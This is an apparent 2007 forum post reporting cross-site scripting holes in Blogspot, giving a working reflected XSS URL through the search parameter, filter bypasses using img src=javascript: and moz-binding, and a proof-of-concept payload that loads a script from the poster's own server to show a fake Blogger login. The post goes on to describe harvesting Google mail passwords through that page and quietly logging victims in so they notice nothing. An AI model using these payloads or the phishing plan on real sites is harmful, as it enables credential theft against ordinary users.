Okay this was hurrendous, after finding xss in blogspot the other day in kuza55's profile, i sound discovered it was a site wide issue and effected alot more people than kuza55, the xss is in the search tag. for example
http://domain.blogspot.com/search?q=%3C%2Ftitle%3E%3Cscript%3Ealert%28%27hi%27%29%3C%2Fscript%3E
i thought i'd create an account and enter a 'blog entry' to see what was filtered, i started with the obvious, <script>alert('hi')</script>, which returned the error the tag <script> is not allowed, so i then tried <iframe>, <frameset>, <body> etc... all where disallowed, i then saw that it was possible to insert pictures into the blog, so i tried img src=javascript:alert('hi') which worked fine, but only in internet explorer, i then began testing to see which i could get working in firefox, and after having a quick refer to the cheat sheet i used the xml moz-binding, so on my profile i now xss working regardless of browser, i really thought on such a major site that it would have been alot more secure than this. Especially as a worm on a site of this nature would do alot of damage.
Anyway - the url is http://eyeced.blogspot.com - i would'nt go checking there for blogs though, as the only reason i created it was simply for testing.
Edit: this would be a way of easily harvesting google mail password's aswell from the masses that use blogspot.
PoC - <IMG SRC="javascript:x=document.createElement('script');x.src='http//fakebloggerlogin';document.body.appendChild(x);">
the fakebloggerlogin page would simply be a page on your server to which the user would be non the wiser, he/she would sign in, there details would then be posted to your server, then they could be re-directed to the page they should have originally been sent to. Or if you want to make it look amazingly real, you could even use there details to log them in, and take them to the logged in page...
Edited 1 time(s). Last edit at 01/19/2007 09:36AM by eyeced.
